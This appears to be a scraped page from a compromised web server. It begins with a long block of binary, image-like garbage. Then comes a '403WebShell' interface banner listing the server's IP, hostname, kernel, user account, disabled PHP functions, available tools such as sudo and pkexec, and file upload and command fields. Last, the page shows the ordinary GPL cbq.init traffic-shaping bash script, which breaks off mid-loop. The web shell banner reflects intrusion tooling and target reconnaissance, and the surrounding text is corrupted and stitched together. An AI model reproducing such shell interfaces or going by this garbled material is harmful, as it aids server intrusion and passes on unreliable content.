�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 142.11.200.226  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux ded1037.hostwindsdns.com 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User : dreamlifellc ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/cbq
#!/bin/bash
#
#    cbq.init v0.7.3
#    Copyright (C) 1999  Pavel Golubev <pg@ksi-linux.com>
#    Copyright (C) 2001-2004  Lubomir Bulej <pallas@kadan.cz>
#
#    chkconfig:   2345 11 89
#    description: sets up CBQ-based traffic control
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, see <http://www.gnu.org/licenses/>.
#
#    To get the latest version, check on Freshmeat for actual location:
#
#		http://freshmeat.net/projects/cbq.init
#
#
# VERSION HISTORY
# ---------------
# v0.7.3- Deepak Singhal <singhal at users.sourceforge.net>
#	  - fix timecheck to not ignore regular TIME rules after
#	    encountering a TIME rule that spans over midnight
#	- Nathan Shafer <nicodemus at users.sourceforge.net>
#	  - allow symlinks to class files
#	- Seth J. Blank <antifreeze at users.sourceforge.net>
#	  - replace hardcoded ip/tc location with variables
#	- Mark Davis <mark.davis at gmx.de>
#	  - allow setting of PRIO_{MARK,RULE,REALM} in class file
#	- Fernando Sanch <toptnc at users.sourceforge.net>
#	  - allow underscores in interface names
# v0.7.2- Paulo Sedrez
#	  - fix time2abs to allow hours with leading zero in TIME rules
#	- Svetlin Simeonov <zvero at yahoo.com>
#	  - fix cbq_device_list to allow VLAN interfaces
#	- Mark Davis <mark.davis at gmx.de>
#	  - ignore *~ backup files when looking for classes
#	- Mike Boyer <boyer at administrative.com>
#	  - fix to allow arguments to be passed to "restart" command
# v0.7.1- Lubomir Bulej <pallas at kadan.cz>
#	  - default value for PERTURB
#	  - fixed small bug in RULE parser to correctly parse rules with
#	    identical source and destination fields
#	  - faster initial scanning of DEVICE fields
# v0.7	- Lubomir Bulej <pallas at kadan.cz>
#	  - lots of various cleanups and reorganizations; the parsing is now
#	    some 40% faster, but the class ID must be in range 0x0002-0xffff
#	    (again). Because of the number of internal changes and the above
#	    class ID restriction, I bumped the version to 0.7 to indicate
#	    something might have got broken :)
#	  - changed PRIO_{U32,FW,ROUTE} to PRIO_{RULE,MARK,REALM}
#	    for consistency with filter keywords
#	  - exposed "compile" command
#	- Catalin Petrescu <taz at dntis.ro>
#	  - support for port masks in RULE (u32) filter
#	- Jordan Vrtanoski <obeliks at mt.net.mk>
#	  - support for week days in TIME rules
# v0.6.4- Lubomir Bulej <pallas at kadan.cz>
#	  - added PRIO_* variables to allow easy control of filter priorities
#	  - added caching to speed up CBQ start, the cache is invalidated
#	    whenever any of the configuration files changes
#	  - updated the readme section + some cosmetic fixes
# v0.6.3- Lubomir Bulej <pallas at kadan.cz>
#	  - removed setup of (unnecessary) class 1:1 - all classes
#	    now use qdisc's default class 1:0 as their parent
#	  - minor fix in the timecheck branch - classes
#	    without leaf qdisc were not updated
#	  - minor fix to avoid timecheck failure when run
#	    at time with minutes equal to 08 or 09
#	  - respect CBQ_PATH setting in environment
#	  - made PRIO=5 default, rendering it optional in configs
#	  - added support for route filter, see notes about REALM keyword
#	  - added support for fw filter, see notes about MARK keyword
#	  - added filter display to "list" and "stats" commands
#	  - readme section update + various cosmetic fixes
# v0.6.2- Catalin Petrescu <taz at dntis.ro>
#	  - added tunnels interface handling
# v0.6.1- Pavel Golubev <pg at ksi-linux.com>
#	  - added sch_prio module loading
#	    (thanks johan at iglo.virtual.or.id for reminding)
#	  - resolved errors resulting from stricter syntax checking in bash2
#	- Lubomir Bulej <pallas at kadan.cz>
#	  - various cosmetic fixes
# v0.6	- Lubomir Bulej <pallas at kadan.cz>
#	  - attempt to limit number of spawned processes by utilizing
#	    more of sed power (use sed instead of grep+cut)
#	  - simplified TIME parser, using bash builtins
#	  - added initial support for SFQ as leaf qdisc
#	  - reworked the documentation part a little
#	  - incorporated pending patches and ideas submitted by
#	    following people for versions 0.3 into version 0.6
#	- Miguel Freitas <miguel at cetuc.puc-rio.br>
#	  - in case of overlapping TIME parameters, the last match is taken
#	- Juanjo Ciarlante <jjo at mendoza.gov.ar>
#	  - chkconfig tags, list + stats startup parameters
#	  - optional tc & ip command logging (into /var/run/cbq-*)
#	- Rafal Maszkowski <rzm at icm.edu.pl>
#	  - PEAK parameter for setting TBF's burst peak rate
#	  - fix for many config files (use find instead of ls)
# v0.5.1- Lubomir Bulej <pallas at kadan.cz>
#	  - fixed little but serious bug in RULE parser
# v0.5	- Lubomir Bulej <pallas at kadan.cz>
#	  - added options PARENT, LEAF, ISOLATED and BOUNDED. This allows
#	    (with some attention to config file ordering) for creating
#	    hierarchical structures of shapers with classes able (or unable)
#	    to borrow bandwidth from their parents.
#	  - class ID check allows hexadecimal numbers
#	  - rewritten & simplified RULE parser
#	  - cosmetic changes to improve readability
#	  - reorganization to avoid duplicate code (timecheck etc.)
#	  - timecheck doesn't check classes without TIME fields anymore
# v0.4  - Lubomir Bulej <pallas at kadan.cz>
#	  - small bugfix in RULE parsing code
#	  - simplified configuration parsing code
#	  - several small cosmetic changes
#	  - TIME parameter can be now specified more than once allowing you to
#	    differentiate RATE throughout the whole day. Time overlapping is
#	    not checked, first match is taken. Midnight wrap (eg. 20:00-6:00)
#	    is allowed and taken care of.
# v0.3a4- fixed small bug in IF operator. Thanks to
#	  Rafal Maszkowski <rzm at icm.edu.pl>
# v0.3a3- fixed grep bug when using more than 10 eth devices. Thanks to David
#	  Trcka <trcka at poda.cz>.
# v0.3a2- fixed bug in "if" operator. Thanks kad at dgtu.donetsk.ua.
# v0.3a - added TIME parameter. Example: TIME=00:00-19:00;64Kbit/6Kbit
#	  So, between 00:00 and 19:00 the RATE will be 64Kbit.
#	  Just start "cbq.init timecheck" periodically from cron
#	  (every 10 minutes for example). DON'T FORGET though, to run
#	  "cbq.init start" for CBQ to initialize.
# v0.2  - Some cosmetic changes. Now it is more compatible with old bash
#	  version. Thanks to Stanislav V. Voronyi <stas at cnti.uanet.kharkov.ua>.
# v0.1  - First public release
#
#
# README
# ------
#
# First of all - this is just a SIMPLE EXAMPLE of CBQ power.
# Don't ask me "why" and "how" :)
#
# This script is meant to simplify setup and management of relatively simple
# CBQ-based traffic control on Linux. Access to advanced networking features
# of Linux kernel is provided by "ip" and "tc" utilities from A. Kuznetsov's
# iproute2 package, available at ftp://ftp.inr.ac.ru/ip-routing. Because the
# utilities serve primarily to translate user wishes to RTNETLINK commands,
# their interface is rather spartan, intolerant and requires quite a lot of
# typing. And typing is what this script attempts to reduce :)
#
# The advanced networking stuff in Linux is pretty flexible and this script
# aims to bring some of its features to the not-so-hard-core Linux users. Of
# course, there is a tradeoff between simplicity and flexibility and you may
# realize that the flexibility suffered too much for your needs -- time to
# face "ip" and "tc" interface.
#
# To speed up the "start" command, simple caching was introduced in version
# 0.6.4. The caching works so that the sequence of "tc" commands for given
# configuration is stored in a file (/var/cache/cbq.init by default) which
# is used next time the "start" command is run to avoid repeated parsing of
# configuration files. This cache is invalidated whenever any of the CBQ
# configuration files changes. If you want to run "cbq.init start" without
# caching, run it as "cbq.init start nocache". If you want to force cache
# invalidation, run it as "cbq.init start invalidate". Caching is disabled
# if you have logging enabled (ie. CBQ_DEBUG is not empty).
#
# If you only want cqb.init to translate your configuration to "tc" commands,
# use "compile" command which will output "tc" commands required to build
# your configuration. Bear in mind that "compile" does not check if the "tc"
# commands were successful - this is done (in certain places) only when the
# "start nocache" command is used, which is also useful when creating the
# configuration to check whether it is completely valid.
#
# All CBQ parameters are valid for Ethernet interfaces only, The script was
# tested on various Linux kernel versions from series 2.1 to 2.4 and several
# distributions with KSI Linux (Nostromo version) as the premier one.
#
#
# HOW DOES IT WORK?
# -----------------
#
# Every traffic class must be described by a file in the $CBQ_PATH directory
# (/etc/sysconfig/cbq by default) - one file per class.
#
# The config file names must obey mandatory format: cbq-<clsid>.<name> where
# <clsid> is two-byte hexadecimal number in range <0002-FFFF> (which in fact
# is a CBQ class ID) and <name> is the name of the class -- anything to help
# you distinguish the configuration files. For small amount of classes it is
# often possible (and convenient) to let <clsid> resemble bandwidth of the
# class.
#
# Example of valid config name:
#	cbq-1280.My_first_shaper
#
#
# The configuration file may contain the following parameters:
#
### Device parameters
#
# DEVICE=<ifname>,<bandwidth>[,<weight>]	mandatory
# DEVICE=eth0,10Mbit,1Mbit
#
#	<ifname> is the name of the interface you want to control
#		traffic on, e.g. eth0
#	<bandwidth> is the physical bandwidth of the device, e.g. for
#		ethernet 10Mbit or 100Mbit, for arcnet 2Mbit
#	<weight> is tuning parameter that should be proportional to
#		<bandwidth>. As a rule of thumb: <weight> = <bandwidth> / 10
#
# When you have more classes on one interface, it is enough to specify
# <bandwidth> [and <weight>] only once, therefore in other files you only
# need to set DEVICE=<ifname>.
#
### Class parameters
#
# RATE=<speed>					mandatory
# RATE=5Mbit
#
#	Bandwidth allocated to the class. Traffic going through the class is
#	shaped to conform to specified rate. You can use Kbit, Mbit or bps,
#	Kbps and Mbps as suffices. If you don't specify any unit, bits/sec
#	are used. Also note that "bps" means "bytes per second", not bits.
#
# WEIGHT=<speed> 				mandatory
# WEIGHT=500Kbit
#
#	Tuning parameter that should be proportional to RATE. As a rule
#	of thumb, use WEIGHT ~= RATE / 10.
#
# PRIO=<1-8>					optional, default 5
# PRIO=5
#
#	Priority of class traffic. The higher the number, the lesser
#	the priority. Priority of 5 is just fine.
#
# PARENT=<clsid>				optional, default not set
# PARENT=1280
#
#	Specifies ID of the parent class to which you want this class be
#	attached. You might want to use LEAF=none for the parent class as
#	mentioned below. By using this parameter and carefully ordering the
#	configuration files, it is possible to create simple hierarchical
#	structures of CBQ classes. The ordering is important so that parent
#	classes are constructed prior to their children.
#
# LEAF=none|tbf|sfq				optional, default "tbf"
#
#	Tells the script to attach specified leaf queueing discipline to CBQ
#	class. By default, TBF is used. Note that attaching TBF to CBQ class
#	shapes the traffic to conform to TBF parameters and prevents the class
#	from borrowing bandwidth from its parent even if you have BOUNDED set
#	to "no". To allow the class to borrow bandwith (provided it is not
#	bounded), you must set LEAF to "none" or "sfq".
#
#	If you want to ensure (approximately) fair sharing of bandwidth among
#	several hosts in the same class, you might want to specify LEAF=sfq to
#	attach SFQ as leaf queueing discipline to that class.
#
# BOUNDED=yes|no				optional, default "yes"
#
#	If set to "yes", the class is not allowed to borrow bandwidth from
#	its parent class in overlimit situation. If set to "no", the class
#	will be allowed to borrow bandwidth from its parent.
#
# Note:	Don't forget to set LEAF to "none" or "sfq", otherwise the class will
#	have TBF attached to itself and will not be able to borrow unused
#	bandwith from its parent.
#
# ISOLATED=yes|no				optional, default "no"
#
#	If set to "yes", the class will not lend unused bandwidth to
#	its children.
#
### TBF qdisc parameters
#
# BUFFER=<bytes>[/<bytes>]			optional, default "10Kb/8"
#
#	This parameter controls the depth of the token bucket. In other
#	words it represents the maximal burst size the class can send.
#	The optional part of parameter is used to determine the length
#	of intervals in packet sizes, for which the transmission times
#	are kept.
#
# LIMIT=<bytes>					optional, default "15Kb"
#
#	This parameter determines the maximal length of backlog. If
#	the queue contains more data than specified by LIMIT, the
#	newly arriving packets are dropped. The length of backlog
#	determines queue latency in case of congestion.
#
# PEAK=<speed>					optional, default not set
#
#	Maximal peak rate for short-term burst traffic. This allows you
#	to control the absolute peak rate the class can send at, because
#	single TBF that allows 256Kbit/s would of course allow rate of
#	512Kbit for half a second or 1Mbit for a quarter of second.
#
# MTU=<bytes>  					optional, default "1500"
#
#	Maximum number of bytes that can be sent at once over the
#	physical medium. This parameter is required when you specify
#	PEAK parameter. It defaults to MTU of ethernet - for other
#	media types you might want to change it.
#
# Note: Setting TBF as leaf qdisc will effectively prevent the class from
#	borrowing bandwidth from the ancestor class, because even if the
#	class allows more traffic to pass through, it is then shaped to
#	conform to TBF.
#
### SFQ qdisc parameters
#
# The SFQ queueing discipline is a cheap way for sharing class bandwidth
# among several hosts. As it is stochastic, the fairness is approximate but
# it will do the job in most cases. If you want real fairness, you should
# probably use WRR (weighted round robin) or WFQ queueing disciplines. Note
# that SFQ does not do any traffic shaping - the shaping is done by the CBQ
# class the SFQ is attached to.
#
# QUANTUM=<bytes>				optional, default not set
#
#	This parameter should not be set lower than link MTU, for ethernet
#	it is 1500b, or (with MAC header) 1514b which is the value used
#	in Alexey Kuznetsov's examples.
#
# PERTURB=<seconds>				optional, default "10"
#
#	Period of hash function perturbation. If unset, hash reconfiguration
#	will never take place which is what you probably don't want. The
#	default value of 10 seconds is probably a good one.
#
### Filter parameters
#
# RULE=[[saddr[/prefix]][:port[/mask]],][daddr[/prefix]][:port[/mask]]
#
#	These parameters make up "u32" filter rules that select traffic for
#	each of the classes. You can use multiple RULE fields per config.
#
#	The optional port mask should only be used by advanced users who
#	understand how the u32 filter works.
#
# Some examples:
#
#	RULE=10.1.1.0/24:80
#		selects traffic going to port 80 in network 10.1.1.0
#
#	RULE=10.2.2.5
#		selects traffic going to any port on single host 10.2.2.5
#
#	RULE=10.2.2.5:20/0xfffe
#		selects traffic going to ports 20 and 21 on host 10.2.2.5
#
#	RULE=:25,10.2.2.128/26:5000
#		selects traffic going from anywhere on port 50 to
#		port 5000 in network 10.2.2.128
#
#	RULE=10.5.5.5:80,
#		selects traffic going from port 80 of single host 10.5.5.5
#
#
#
# REALM=[srealm,][drealm]
#
#	These parameters make up "route" filter rules that classify traffic
#	according to packet source/destination realms. For information about
#	realms, see Alexey Kuznetsov's IP Command Reference. This script
#	does not define any realms, it justs builds "tc filter" commands
#	for you if you need to classify traffic this way.
#
#	Realm is either a decimal number or a string referencing entry in
#	/etc/iproute2/rt_realms (usually).
#
# Some examples:
#
#	REALM=russia,internet
#		selects traffic going from realm "russia" to realm "internet"
#
#	REALM=freenet,
#		selects traffic going from realm "freenet"
#
#	REALM=10
#		selects traffic going to realm 10
#
#
#
# MARK=<mark>
#
#	These parameters make up "fw" filter rules that select traffic for
#	each of the classes accoring to firewall "mark". Mark is a decimal
#	number packets are tagged with if firewall rules say so. You can
#	use multiple MARK fields per config.
#
#
# Note: Rules for different filter types can be combined. Attention must be
#	paid to the priority of filter rules, which can be set below using
#	PRIO_{RULE,MARK,REALM} variables.
#
### Time ranging parameters
#
# TIME=[<dow>,<dow>, ...,<dow>/]<from>-<till>;<rate>/<weight>[/<peak>]
# TIME=0,1,2,5/18:00-06:00;256Kbit/25Kbit
# TIME=60123/18:00-06:00;256Kbit/25Kbit
# TIME=18:00-06:00;256Kbit/25Kbit
#
#	This parameter allows you to differentiate the class bandwidth
#	throughout the day. You can specify multiple TIME parameters, if
#	the times overlap, last match is taken. The fields <rate>, <weight>
#	and <peak> correspond to parameters RATE, WEIGHT and PEAK (which
#	is optional and applies to TBF leaf qdisc only).
#
#	You can also specify days of week when the TIME rule applies. <dow>
#	is numeric, 0 corresponds to sunday, 1 corresponds to monday, etc.
#
###
#
# Sample configuration file: cbq-1280.My_first_shaper
#
# --------------------------------------------------------------------------
# DEVICE=eth0,10Mbit,1Mbit
# RATE=128Kbit
# WEIGHT=10Kbit
# PRIO=5
# RULE=192.128.1.0/24
# --------------------------------------------------------------------------
#
# The configuration says that we will control traffic on 10Mbit ethernet
# device eth0 and the traffic going to network 192.168.1.0 will be
# processed with priority 5 and shaped to rate of 128Kbit.
#
# Note that you can control outgoing traffic only. If you want to control
# traffic in both directions, you must set up CBQ for both interfaces.
#
# Consider the following example:
#
#                    +---------+      192.168.1.1
# BACKBONE -----eth0-|  linux  |-eth1------*-[client]
#                    +---------+
#
# Imagine you want to shape traffic from backbone to the client to 28Kbit
# and traffic in the opposite direction to 128Kbit. You need to setup CBQ
# on both eth0 and eth1 interfaces, thus you need two config files:
#
# cbq-028.backbone-client
# --------------------------------------------------------------------------
# DEVICE=eth1,10Mbit,1Mbit
# RATE=28Kbit
# WEIGHT=2Kbit
# PRIO=5
# RULE=192.168.1.1
# --------------------------------------------------------------------------
#
# cbq-128.client-backbone
# --------------------------------------------------------------------------
# DEVICE=eth0,10Mbit,1Mbit
# RATE=128Kbit
# WEIGHT=10Kbit
# PRIO=5
# RULE=192.168.1.1,
# --------------------------------------------------------------------------
#
# Pay attention to comma "," in the RULE field - it denotes source address!
#
# Enjoy.
#
#############################################################################

export LC_ALL=C

### Command locations
TC=/sbin/tc
IP=/sbin/ip
MP=/sbin/modprobe

### Default filter priorities (must be different)
PRIO_RULE_DEFAULT=${PRIO_RULE:-100}
PRIO_MARK_DEFAULT=${PRIO_MARK:-200}
PRIO_REALM_DEFAULT=${PRIO_REALM:-300}

### Default CBQ_PATH & CBQ_CACHE settings
CBQ_PATH=${CBQ_PATH:-/etc/sysconfig/cbq}
CBQ_CACHE=${CBQ_CACHE:-/var/cache/cbq.init}

### Uncomment to enable logfile for debugging
#CBQ_DEBUG="/var/run/cbq-$1"

### Modules to probe for. Uncomment the last CBQ_PROBE
### line if you have QoS support compiled into kernel
CBQ_PROBE="sch_cbq sch_tbf sch_sfq sch_prio"
CBQ_PROBE="$CBQ_PROBE cls_fw cls_u32 cls_route"
#CBQ_PROBE=""

### Keywords required for qdisc & class configuration
CBQ_WORDS="DEVICE|RATE|WEIGHT|PRIO|PARENT|LEAF|BOUNDED|ISOLATED"
CBQ_WORDS="$CBQ_WORDS|PRIO_MARK|PRIO_RULE|PRIO_REALM|BUFFER"
CBQ_WORDS="$CBQ_WORDS|LIMIT|PEAK|MTU|QUANTUM|PERTURB"

### Source AVPKT if it exists
[ -r /etc/sysconfig/cbq/avpkt ] && . /etc/sysconfig/cbq/avpkt
AVPKT=${AVPKT:-3000}


#############################################################################
############################# SUPPORT FUNCTIONS #############################
#############################################################################

### Get list of network devices
cbq_device_list () {
	ip link show| sed -n "/^[0-9]/ \
		{ s/^[0-9]\+: \([a-z0-9._]\+\)[:@].*/\1/; p; }"
} # cbq_device_list


### Remove root class from device $1
cbq_device_off () {
	tc qdisc del dev $1 root 2> /dev/null
} # cbq_device_off


### Remove CBQ from all devices
cbq_off () {
	for dev in `cbq_device_list`; do
		cbq_device_off $dev
	done
} # cbq_off


### Prefixed message
cbq_message () {
	echo -e "**CBQ: $*"
} # cbq_message

### Failure message
cbq_failure () {
	cbq_message "$@"
	exit 1
} # cbq_failure

### Failure w/ cbq-off
cbq_fail_off () {
	cbq_message "$@"
	cbq_off
	exit 1
} # cbq_fail_off


### Convert time to absolute value
cbq_time2abs () {
	local min=${1##*:}; min=${min##0}
	local hrs=${1%%:*}; hrs=${hrs##0}
	echo $[hrs*60 + min]
} # cbq_time2abs


### Display CBQ setup
cbq_show () {
	for dev in `cbq_device_list`; do
		[ "`tc qdisc show dev $dev| wc -l`" -eq 0 ] && continue
		echo -e "### $dev: queueing disciplines\n"
		tc $1 qdisc show dev $dev; echo

		[ "`tc class show dev $dev| wc -l`" -eq 0 ] && continue
		echo -e "### $dev: traffic classes\n"
		tc $1 class show dev $dev; echo

		[ "`tc filter show dev $dev| wc -l`" -eq 0 ] && continue
		echo -e "### $dev: filtering rules\n"
		tc $1 filter show dev $dev; echo
	done
} # cbq_show


### Check configuration and load DEVICES, DEVFIELDS and CLASSLIST from $1
cbq_init () {
	### Get a list of configured classes
	CLASSLIST=`find $1 -maxdepth 1 \( -type f -or -type l \) -name 'cbq-*' \
		-not -name '*~' -printf "%f\n"| sort`
	[ -z "$CLASSLIST" ] &&
		cbq_failure "no configuration files found in $1!"

	### Gather all DEVICE fields from $1/cbq-*
	DEVFIELDS=`find $1 -maxdepth 1 \( -type f -or -type l \) -name 'cbq-*' \
		  -not -name '*~' -print0 | xargs -0 sed -n 's/#.*//; \
		  s/[[:space:]]//g; /^DEVICE=[^,]*,[^,]*\(,[^,]*\)\?/ \
		  { s/.*=//; p; }'| sort -u`
	[ -z "$DEVFIELDS" ] &&
		cbq_failure "no DEVICE field found in $1/cbq-*!"

	### Check for different DEVICE fields for the same device
	DEVICES=`echo "$DEVFIELDS"| sed 's/,.*//'| sort -u`
	[ "`echo "$DEVICES"| wc -l`" -ne "`echo "$DEVFIELDS"| wc -l`" ] &&
		cbq_failure "different DEVICE fields for single device!\n$DEVFIELDS"
} # cbq_init


### Load class configuration from $1/$2
cbq_load_class () {
	CLASS=`echo $2| sed 's/^cbq-0*//; s/^\([0-9a-fA-F]\+\).*/\1/'`
	CFILE=`sed -n 's/#.*//; s/[[:space:]]//g; /^[[:alnum:]_]\+=[[:alnum:].,:;/*@-_]\+$/ p' $1/$2`

	### Check class number
	IDVAL=`/usr/bin/printf "%d" 0x$CLASS 2> /dev/null`
	[ $? -ne 0 -o $IDVAL -lt 2 -o $IDVAL -gt 65535 ] &&
		cbq_fail_off "class ID of $2 must be in range <0002-FFFF>!"

	### Set defaults & load class
	RATE=""; WEIGHT=""; PARENT=""; PRIO=5
	LEAF=tbf; BOUNDED=yes; ISOLATED=no
	BUFFER=10Kb/8; LIMIT=15Kb; MTU=1500
	PEAK=""; PERTURB=10; QUANTUM=""

	PRIO_RULE=$PRIO_RULE_DEFAULT
	PRIO_MARK=$PRIO_MARK_DEFAULT
	PRIO_REALM=$PRIO_REALM_DEFAULT

	eval "`echo "$CFILE"| grep -E "^($CBQ_WORDS)="`"

	### Require RATE/WEIGHT
	[ -z "$RATE" -o -z "$WEIGHT" ] &&
		cbq_fail_off "missing RATE or WEIGHT in $2!"

	### Class device
	DEVICE=${DEVICE%%,*}
	[ -z "$DEVICE" ] && cbq_fail_off "missing DEVICE field in $2!"

	BANDWIDTH=`echo "$DEVFIELDS"| sed -n "/^$DEVICE,/ \
		  { s/[^,]*,\([^,]*\).*/\1/; p; q; }"`

	### Convert to "tc" options
	PEAK=${PEAK:+peakrate $PEAK}
	PERTURB=${PERTURB:+perturb $PERTURB}
	QUANTUM=${QUANTUM:+quantum $QUANTUM}

	[ "$BOUNDED" = "no" ] && BOUNDED="" || BOUNDED="bounded"
	[ "$ISOLATED" = "yes" ] && ISOLATED="isolated" || ISOLATED=""
} # cbq_load_class


#############################################################################
#################################### INIT ###################################
#############################################################################

### Check for presence of ip-route2 in usual place
[ -x $TC -a -x $IP ] ||
	cbq_failure "ip-route2 utilities not installed or executable!"


### ip/tc wrappers
if [ "$1" = "compile" ]; then
	### no module probing
	CBQ_PROBE=""

	ip () {
		$IP "$@"
	} # ip

	### echo-only version of "tc" command
	tc () {
		echo "$TC $*"
	} # tc

elif [ -n "$CBQ_DEBUG" ]; then
	echo -e "# `date`" > $CBQ_DEBUG

	### Logging version of "ip" command
	ip () {
		echo -e "\n# ip $*" >> $CBQ_DEBUG
		$IP "$@" 2>&1 | tee -a $CBQ_DEBUG
	} # ip

	### Logging version of "tc" command
	tc () {
		echo -e "\n# tc $*" >> $CBQ_DEBUG
		$TC "$@" 2>&1 | tee -a $CBQ_DEBUG
	} # tc
else
	### Default wrappers
	
	ip () {
		$IP "$@"
	} # ip
	
	tc () {
		$TC "$@"
	} # tc
fi # ip/tc wrappers


case "$1" in

#############################################################################
############################### START/COMPILE ###############################
#############################################################################

start|compile)

### Probe QoS modules (start only)
for module in $CBQ_PROBE; do
	$MP $module || cbq_failure "failed to load module $module"
done

### If we are in compile/nocache/logging mode, don't bother with cache
if [ "$1" != "compile" -a "$2" != "nocache" -a -z "$CBQ_DEBUG" ]; then
	VALID=1

	### validate the cache
	[ "$2" = "invalidate" -o ! -f $CBQ_CACHE ] && VALID=0
	if [ $VALID -eq 1 ]; then
		[ "`find $CBQ_PATH -maxdepth 1 -newer $CBQ_CACHE| \
		  wc -l`" -gt 0 ] && VALID=0
	fi

	### compile the config if the cache is invalid
	if [ $VALID -ne 1 ]; then
		$0 compile > $CBQ_CACHE ||
			cbq_fail_off "failed to compile CBQ configuration!"
	fi

	### run the cached commands
	exec /bin/sh $CBQ_CACHE 2> /dev/null
fi

### Load DEVICES, DEVFIELDS and CLASSLIST
cbq_init $CBQ_PATH


### Setup root qdisc on all configured devices
for dev in $DEVICES; do
	### Retrieve device bandwidth and, optionally, weight
